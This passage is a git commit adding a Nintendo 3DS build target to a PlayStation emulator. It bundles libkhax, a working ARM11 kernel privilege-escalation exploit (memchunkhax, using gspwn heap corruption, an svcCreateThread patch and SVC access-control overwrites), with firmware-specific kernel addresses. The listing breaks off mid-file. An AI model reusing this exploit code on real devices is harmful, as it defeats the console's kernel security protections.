(ctr/3ds) add target.
authoraliaspider <aliaspider@gmail.com>
Wed, 23 Sep 2015 15:12:24 +0000 (16:12 +0100)
committeraliaspider <aliaspider@gmail.com>
Wed, 23 Sep 2015 15:12:24 +0000 (16:12 +0100)
16 files changed:
Makefile
Makefile.libretro
frontend/3ds/3ds_utils.c [new file with mode: 0644]
frontend/3ds/3ds_utils.h [new file with mode: 0644]
frontend/3ds/libkhax/LICENSE [new file with mode: 0644]
frontend/3ds/libkhax/khax.h [new file with mode: 0644]
frontend/3ds/libkhax/khaxinit.cpp [new file with mode: 0644]
frontend/3ds/libkhax/khaxinternal.h [new file with mode: 0644]
frontend/3ds/pthread.h [new file with mode: 0644]
frontend/3ds/sys/mman.h [new file with mode: 0644]
frontend/libretro.c
frontend/main.c
libpcsxcore/new_dynarec/emu_if.h
libpcsxcore/new_dynarec/new_dynarec.c
plugins/cdrcimg/cdrcimg.c
plugins/dfxvideo/gpulib_if.c

index b23d33e..f7bf1d7 100644 (file)
--- a/Makefile
+++ b/Makefile
@@ -247,11 +247,19 @@ frontend/revision.h: FORCE
 %.o: %.S
        $(CC_AS) $(CFLAGS) -c $^ -o $@
 
+%.o: %.cpp
+       $(CXX) $(CXXFLAGS) -c -o $@ $<
+
+
 
 target_: $(TARGET)
 
 $(TARGET): $(OBJS)
+ifeq ($(STATIC_LINKING), 1)
+       $(AR) rcs $@ $(OBJS)
+else
        $(CC_LINK) -o $@ $^ $(LDFLAGS) $(LDLIBS) $(EXTRA_LDFLAGS)
+endif
 
 clean: $(PLAT_CLEAN) clean_plugins
        $(RM) $(TARGET) $(OBJS) $(TARGET).map frontend/revision.h
index 8115510..de2bceb 100644 (file)
@@ -123,6 +123,31 @@ else ifeq ($(platform), vita)
        HAVE_NEON = 1
        BUILTIN_GPU = neon
 
+# CTR(3DS)
+else ifeq ($(platform), ctr)
+       TARGET := $(TARGET_NAME)_libretro_ctr.a
+       CC = $(DEVKITARM)/bin/arm-none-eabi-gcc$(EXE_EXT)
+       CXX = $(DEVKITARM)/bin/arm-none-eabi-g++$(EXE_EXT)
+       AR = $(DEVKITARM)/bin/arm-none-eabi-ar$(EXE_EXT)
+       CFLAGS += -DARM11 -D_3DS -DNO_OS
+       CFLAGS += -march=armv6k -mtune=mpcore -mfloat-abi=hard -marm -mfpu=vfp
+       CFLAGS += -Wall -mword-relocations
+       CFLAGS += -fomit-frame-pointer -ffast-math      
+       CFLAGS += -I$(CTRULIB)/include -I$(DEVKITPRO)/portlibs/armv6k/include -Ifrontend/3ds
+       CFLAGS += -Werror=implicit-function-declaration
+
+       CXXFLAGS += -fno-rtti -fno-exceptions -std=gnu++11
+       OBJS += frontend/3ds/3ds_utils.o frontend/3ds/libkhax/khaxinit.o
+
+
+#      CFLAGS += -DPCSX
+#      BUILTIN_GPU = unai
+       USE_DYNAREC = 1
+       DRC_CACHE_BASE = 0
+       ARCH = arm
+
+       STATIC_LINKING = 1
+
 # Xbox 360
 else ifeq ($(platform), xenon)
        TARGET := $(TARGET_NAME)_libretro_xenon360.a
diff --git a/frontend/3ds/3ds_utils.c b/frontend/3ds/3ds_utils.c
new file mode 100644 (file)
index 0000000..c36146c
--- /dev/null
@@ -0,0 +1,98 @@
+
+#include "3ds.h"
+#include "libkhax/khax.h"
+
+static int ninjhax_version = 0;
+
+typedef s32 (*ctr_callback_type)(void);
+
+static void ctr_enable_all_svc_kernel(void)
+{
+   __asm__ volatile("cpsid aif");
+
+   u32*  svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6;
+
+   svc_access_control[0]=0xFFFFFFFE;
+   svc_access_control[1]=0xFFFFFFFF;
+   svc_access_control[2]=0xFFFFFFFF;
+   svc_access_control[3]=0x3FFFFFFF;
+}
+
+
+static void ctr_invalidate_ICache_kernel(void)
+{
+   __asm__ volatile(
+      "cpsid aif\n\t"
+      "mov r0, #0\n\t"
+      "mcr p15, 0, r0, c7, c5, 0\n\t");
+}
+
+static void ctr_flush_DCache_kernel(void)
+{
+   __asm__ volatile(
+      "cpsid aif\n\t"
+      "mov r0, #0\n\t"
+      "mcr p15, 0, r0, c7, c10, 0\n\t");
+
+}
+
+
+static void ctr_enable_all_svc(void)
+{
+   svcBackdoor((ctr_callback_type)ctr_enable_all_svc_kernel);
+}
+
+void ctr_invalidate_ICache(void)
+{
+//   __asm__ volatile("svc 0x2E\n\t");
+   svcBackdoor((ctr_callback_type)ctr_invalidate_ICache_kernel);
+
+}
+
+void ctr_flush_DCache(void)
+{
+//   __asm__ volatile("svc 0x4B\n\t");
+   svcBackdoor((ctr_callback_type)ctr_flush_DCache_kernel);
+}
+
+
+void ctr_flush_invalidate_cache(void)
+{
+   ctr_flush_DCache();
+   ctr_invalidate_ICache();
+}
+
+int ctr_svchack_init(void)
+{
+   Handle tempHandle;
+   Result res = srvGetServiceHandle(&tempHandle, "am:u");
+   if(res == 0)
+   {      
+      /* CFW */
+      svcCloseHandle(tempHandle);
+      ninjhax_version = 0;
+      ctr_enable_all_svc();
+      return 1;
+   }
+   else if(hbInit() == 0)
+   {
+      /* ninjhax 1.0 */
+      ninjhax_version = 1;
+      hbExit();
+      khaxInit();
+      return 1;
+   }
+   else
+   {
+      /* ninjhax 2.0 */
+
+      return 0;
+   }
+}
+
+
+void ctr_svchack_exit(void)
+{
+   if (ninjhax_version == 1)
+      khaxExit();
+}
diff --git a/frontend/3ds/3ds_utils.h b/frontend/3ds/3ds_utils.h
new file mode 100644 (file)
index 0000000..e951dbc
--- /dev/null
@@ -0,0 +1,19 @@
+#ifndef _3DS_UTILS_H
+#define _3DS_UTILS_H
+
+void ctr_invalidate_ICache(void);
+void ctr_flush_DCache(void);
+
+void ctr_flush_invalidate_cache(void);
+
+int ctr_svchack_init(void);
+void ctr_svchack_exit(void);
+
+#if 0
+#include "stdio.h"
+void wait_for_input(void);
+
+#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0)
+#endif
+
+#endif // _3DS_UTILS_H
diff --git a/frontend/3ds/libkhax/LICENSE b/frontend/3ds/libkhax/LICENSE
new file mode 100644 (file)
index 0000000..1456b22
--- /dev/null
@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Myriachan
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
diff --git a/frontend/3ds/libkhax/khax.h b/frontend/3ds/libkhax/khax.h
new file mode 100644 (file)
index 0000000..21051c3
--- /dev/null
@@ -0,0 +1,16 @@
+#pragma once\r
+\r
+#include <3ds.h>\r
+\r
+#ifdef __cplusplus\r
+extern "C" {\r
+#endif\r
+\r
+// Initialize and do the initial pwning of the ARM11 kernel.\r
+Result khaxInit();\r
+// Shut down libkhax\r
+Result khaxExit();\r
+\r
+#ifdef __cplusplus\r
+}\r
+#endif\r
diff --git a/frontend/3ds/libkhax/khaxinit.cpp b/frontend/3ds/libkhax/khaxinit.cpp
new file mode 100644 (file)
index 0000000..5c5ad81
--- /dev/null
@@ -0,0 +1,1110 @@
+#include <3ds.h>\r
+#include <cstddef>\r
+#include <cstdint>\r
+#include <cstdio>\r
+#include <cstdlib>\r
+#include <cstring>\r
+#include <limits>\r
+\r
+#include "khax.h"\r
+#include "khaxinternal.h"\r
+\r
+//------------------------------------------------------------------------------------------------\r
+namespace KHAX\r
+{\r
+       //------------------------------------------------------------------------------------------------\r
+       // Kernel and hardware version information.\r
+       struct VersionData\r
+       {\r
+               // New 3DS?\r
+               bool m_new3DS;\r
+               // Kernel version number\r
+               u32 m_kernelVersion;\r
+               // Nominal version number lower bound (for informational purposes only)\r
+               u32 m_nominalVersion;\r
+               // Patch location in svcCreateThread\r
+               u32 m_threadPatchAddress;\r
+               // Original version of code at m_threadPatchAddress\r
+               static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r
+               // System call unlock patch location\r
+               u32 m_syscallPatchAddress;\r
+               // Kernel virtual address mapping of FCRAM\r
+               u32 m_fcramVirtualAddress;\r
+               // Physical mapping of FCRAM on this machine\r
+               static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r
+               // Physical size of FCRAM on this machine\r
+               u32 m_fcramSize;\r
+               // Address of KThread address in kernel (KThread **)\r
+               static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r
+               // Address of KProcess address in kernel (KProcess **)\r
+               static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r
+               // Pseudo-handle of the current KProcess.\r
+               static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r
+               // Returned pointers within a KProcess object.  This abstracts out which particular\r
+               // version of the KProcess object is in use.\r
+               struct KProcessPointers\r
+               {\r
+                       KSVCACL *m_svcAccessControl;\r
+                       u32 *m_kernelFlags;\r
+                       u32 *m_processID;\r
+               };\r
+               // Creates a KProcessPointers for this kernel version and pointer to the object.\r
+               KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r
+\r
+               // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
+               // address using the version-specific information in this table entry.\r
+               void *ConvertLinearUserVAToKernelVA(void *address) const;\r
+\r
+               // Retrieve a VersionData for this kernel, or null if not recognized.\r
+               static const VersionData *GetForCurrentSystem();\r
+\r
+       private:\r
+               // Implementation behind m_makeKProcessPointers.\r
+               template <typename KProcessType>\r
+               static KProcessPointers MakeKProcessPointers(void *kprocess);\r
+\r
+               // Table of these.\r
+               static const VersionData s_versionTable[];\r
+       };\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // ARM11 kernel hack class.\r
+       class MemChunkHax\r
+       {\r
+       public:\r
+               // Construct using the version information for the current system.\r
+               MemChunkHax(const VersionData *versionData)\r
+               :       m_versionData(versionData),\r
+                       m_nextStep(1),\r
+                       m_corrupted(0),\r
+                       m_overwriteMemory(nullptr),\r
+                       m_overwriteAllocated(0),\r
+                       m_extraLinear(nullptr)\r
+               {\r
+                       s_instance = this;\r
+               }\r
+\r
+               // Free memory and such.\r
+               ~MemChunkHax();\r
+\r
+               // Umm, don't copy this class.\r
+               MemChunkHax(const MemChunkHax &) = delete;\r
+               MemChunkHax &operator =(const MemChunkHax &) = delete;\r
+\r
+               // Basic initialization.\r
+               Result Step1_Initialize();\r
+               // Allocate linear memory for the memchunkhax operation.\r
+               Result Step2_AllocateMemory();\r
+               // Free the second and fourth pages of the five.\r
+               Result Step3_SurroundFree();\r
+               // Verify that the freed heap blocks' data matches our expected layout.\r
+               Result Step4_VerifyExpectedLayout();\r
+               // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
+               Result Step5_CorruptCreateThread();\r
+               // Execute svcCreateThread to execute code at SVC privilege.\r
+               Result Step6_ExecuteSVCCode();\r
+               // Grant access to all services.\r
+               Result Step7_GrantServiceAccess();\r
+\r
+       private:\r
+               // SVC-mode entry point thunk (true entry point).\r
+               static Result Step6a_SVCEntryPointThunk();\r
+               // SVC-mode entry point.\r
+               Result Step6b_SVCEntryPoint();\r
+               // Undo the code patch that Step5_CorruptCreateThread did.\r
+               Result Step6c_UndoCreateThreadPatch();\r
+               // Fix the heap corruption caused as a side effect of step 5.\r
+               Result Step6d_FixHeapCorruption();\r
+               // Grant our process access to all system calls, including svcBackdoor.\r
+               Result Step6e_GrantSVCAccess();\r
+               // Flush instruction and data caches.\r
+               Result Step6f_FlushCaches();\r
+               // Patch the process ID to 0.  Runs as svcBackdoor.\r
+               static Result Step7a_PatchPID();\r
+               // Restore the original PID.  Runs as svcBackdoor.\r
+               static Result Step7b_UnpatchPID();\r
+\r
+               // Helper for dumping memory to SD card.\r
+               template <std::size_t S>\r
+               bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r
+\r
+               // Result returned by hacked svcCreateThread upon success.\r
+               static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r
+\r
+               // Version information.\r
+               const VersionData *const m_versionData;\r
+               // Next step number.\r
+               int m_nextStep;\r
+               // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r
+               int m_corrupted;\r
+\r
+               // Free block structure in the kernel, the one used in the memchunkhax exploit.\r
+               struct HeapFreeBlock\r
+               {\r
+                       int m_count;\r
+                       HeapFreeBlock *m_next;\r
+                       HeapFreeBlock *m_prev;\r
+                       int m_unknown1;\r
+                       int m_unknown2;\r
+               };\r
+\r
+               // The layout of a memory page.\r
+               union Page\r
+               {\r
+                       unsigned char m_bytes[4096];\r
+                       HeapFreeBlock m_freeBlock;\r
+               };\r
+\r
+               // The linear memory allocated for the memchunkhax overwrite.\r
+               struct OverwriteMemory\r
+               {\r
+                       union\r
+                       {\r
+                               unsigned char m_bytes[6 * 4096];\r
+                               Page m_pages[6];\r
+                       };\r
+               };\r
+               OverwriteMemory *m_overwriteMemory;\r
+               unsigned m_overwriteAllocated;\r
+\r
+               // Additional linear memory buffer for temporary purposes.\r
+               union ExtraLinearMemory\r
+               {\r
+                       ALIGN(64) unsigned char m_bytes[64];\r
+                       // When interpreting as a HeapFreeBlock.\r
+                       HeapFreeBlock m_freeBlock;\r
+               };\r
+               // Must be a multiple of 16 for use with gspwn.\r
+               static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r
+               ExtraLinearMemory *m_extraLinear;\r
+\r
+               // Copy of the old ACL\r
+               KSVCACL m_oldACL;\r
+\r
+               // Original process ID.\r
+               u32 m_originalPID;\r
+\r
+               // Buffers for dumped data when debugging.\r
+       #ifdef KHAX_DEBUG_DUMP_DATA\r
+               unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r
+               unsigned char m_savedKThread[sizeof(KThread)];\r
+               unsigned char m_savedThreadSVC[0x100];\r
+       #endif\r
+\r
+               // Pointer to our instance.\r
+               static MemChunkHax *volatile s_instance;\r
+       };\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Make an error code\r
+       inline Result MakeError(Result level, Result summary, Result module, Result error);\r
+       enum : Result { KHAX_MODULE = 254 };\r
+       // Check whether this system is a New 3DS.\r
+       Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r
+       // gspwn, meant for reading from or writing to freed buffers.\r
+       Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r
+       // Given a pointer to a structure that is a member of another structure,\r
+       // return a pointer to the outer structure.  Inspired by Windows macro.\r
+       template <typename Outer, typename Inner>\r
+       Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Class VersionData\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Creates a KProcessPointers for this kernel version and pointer to the object.\r
+template <typename KProcessType>\r
+KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r
+{\r
+       KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r
+\r
+       KProcessPointers result;\r
+       result.m_svcAccessControl = &kproc->m_svcAccessControl;\r
+       result.m_processID = &kproc->m_processID;\r
+       result.m_kernelFlags = &kproc->m_kernelFlags;\r
+       return result;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// System version table\r
+const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r
+{\r
+#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r
+\r
+       // Old 3DS, old address layout\r
+       { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+       // Old 3DS, new address layout\r
+       { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
+       { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
+       // New 3DS\r
+       { true,  SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r
+       { true,  SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r
+\r
+#undef KPROC_FUNC\r
+};\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
+// address using the version-specific information in this table entry.\r
+void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r
+{\r
+       static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r
+               "you're sure that this is a 3DS?");\r
+\r
+       // Need the pointer as an integer.\r
+       u32 addr = reinterpret_cast<u32>(address);\r
+\r
+       // Convert the address to a physical address, since that's how we know the mapping.\r
+       u32 physical = osConvertVirtToPhys(addr);\r
+       if (physical == 0)\r
+       {\r
+               return nullptr;\r
+       }\r
+\r
+       // Verify that the address is within FCRAM.\r
+       if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r
+       {\r
+               return nullptr;\r
+       }\r
+\r
+       // Now we can convert.\r
+       return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Retrieve a VersionData for this kernel, or null if not recognized.\r
+const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r
+{\r
+       // Get kernel version for comparison.\r
+       u32 kernelVersion = osGetKernelVersion();\r
+\r
+       // Determine whether this is a New 3DS.\r
+       bool isNew3DS;\r
+       if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r
+       {\r
+               return nullptr;\r
+       }\r
+\r
+       // Search our list for a match.\r
+       for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r
+       {\r
+               // New 3DS flag must match.\r
+               if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r
+               {\r
+                       continue;\r
+               }\r
+               // Kernel version must match.\r
+               if (entry->m_kernelVersion != kernelVersion)\r
+               {\r
+                       continue;\r
+               }\r
+\r
+               return entry;\r
+       }\r
+\r
+       return nullptr;\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Class MemChunkHax\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Basic initialization.\r
+Result KHAX::MemChunkHax::Step1_Initialize()\r
+{\r
+       if (m_nextStep != 1)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r
+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // Nothing to do in current implementation.\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Allocate linear memory for the memchunkhax operation.\r
+Result KHAX::MemChunkHax::Step2_AllocateMemory()\r
+{\r
+       if (m_nextStep != 2)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r
+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // Allocate the linear memory for the overwrite process.\r
+       u32 address = 0xFFFFFFFF;\r
+       Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r
+               static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r
+\r
+       KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r
+\r
+       if (result != 0)\r
+       {\r
+               return result;\r
+       }\r
+\r
+       m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r
+       m_overwriteAllocated = (1u << 6) - 1;  // all 6 pages allocated now\r
+\r
+       // Why didn't we get a page-aligned address?!\r
+       if (address & 0xFFF)\r
+       {\r
+               // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r
+               KHAX_printf("Step2:misaligned memory\n");\r
+               return MakeError(26, 7, KHAX_MODULE, 1009);\r
+       }\r
+\r
+       // Allocate extra memory that we'll need.\r
+       m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r
+               alignof(*m_extraLinear)));\r
+       if (!m_extraLinear)\r
+       {\r
+               KHAX_printf("Step2:failed extra alloc\n");\r
+               return MakeError(26, 3, KHAX_MODULE, 1011);\r
+       }\r
+       KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r
+\r
+       // OK, we're good here.\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Free the second and fourth pages of the five.\r
+Result KHAX::MemChunkHax::Step3_SurroundFree()\r
+{\r
+       if (m_nextStep != 3)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r
+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // We do this because the exploit involves triggering a heap coalesce.  We surround a heap\r
+       // block (page) with two freed pages, then free the middle page.  By controlling both outside\r
+       // pages, we know their addresses, and can fix up the corrupted heap afterward.\r
+       //\r
+       // Here's what the heap will look like after step 3:\r
+       //\r
+       // ___XX-X-X___\r
+       //\r
+       // _ = unknown (could be allocated and owned by other code)\r
+       // X = allocated\r
+       // - = allocated then freed by us\r
+       //\r
+       // In step 4, we will free the second page:\r
+       //\r
+       // ___X--X-X___\r
+       //\r
+       // Heap coalescing will trigger due to two adjacent free blocks existing.  The fifth page's\r
+       // "previous" pointer will be set to point to the second page rather than the third.  We will\r
+       // use gspwn to make that overwrite kernel code instead.\r
+       //\r
+       // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r
+       // sandbox to play in.  In particular, we can use this design to determine the address of the\r
+       // next block--by controlling the location of the next block.\r
+       u32 dummy;\r
+\r
+       // Free the third page.\r
+       if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r
+               sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+       {\r
+               KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+       m_overwriteAllocated &= ~(1u << 2);\r
+\r
+       // Free the fifth page.\r
+       if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r
+               sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+       {\r
+               KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+       m_overwriteAllocated &= ~(1u << 4);\r
+\r
+       // Attempt to write to remaining pages.\r
+       //KHAX_printf("Step2:probing page [0]\n");\r
+       *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r
+       //KHAX_printf("Step2:probing page [1]\n");\r
+       *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r
+       //KHAX_printf("Step2:probing page [3]\n");\r
+       *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r
+       //KHAX_printf("Step2:probing page [5]\n");\r
+       *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r
+       KHAX_printf("Step3:probing done\n");\r
+\r
+       // Done.\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Verify that the freed heap blocks' data matches our expected layout.\r
+Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r
+{\r
+       if (m_nextStep != 4)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r
+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // Copy the first freed page (third page) out to read its heap metadata.\r
+       std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
+\r
+       if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r
+               sizeof(*m_extraLinear)))\r
+       {\r
+               KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       // Debug information about the memory block\r
+       KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r
+               ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r
+       KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
+               m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
+\r
+       // The next page from the third should equal the fifth page.\r
+       if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r
+               &m_overwriteMemory->m_pages[4]))\r
+       {\r
+               KHAX_printf("Step4:[2]->next != [4]\n");\r
+               KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r
+                       m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r
+                       &m_overwriteMemory->m_pages[4]);\r
+               return MakeError(26, 5, KHAX_MODULE, 1014);\r
+       }\r
+\r
+       // Copy the second freed page (fifth page) out to read its heap metadata.\r
+       std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
+\r
+       if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r
+               sizeof(*m_extraLinear)))\r
+       {\r
+               KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r
+               ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r
+       KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
+               m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
+\r
+       // The previous page from the fifth should equal the third page.\r
+       if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r
+               &m_overwriteMemory->m_pages[2]))\r
+       {\r
+               KHAX_printf("Step4:[4]->prev != [2]\n");\r
+               KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r
+                       m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r
+                       &m_overwriteMemory->m_pages[2]);\r
+               return MakeError(26, 5, KHAX_MODULE, 1014);\r
+       }\r
+\r
+       // Validation successful\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
+Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r
+{\r
+       if (m_nextStep != 5)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r
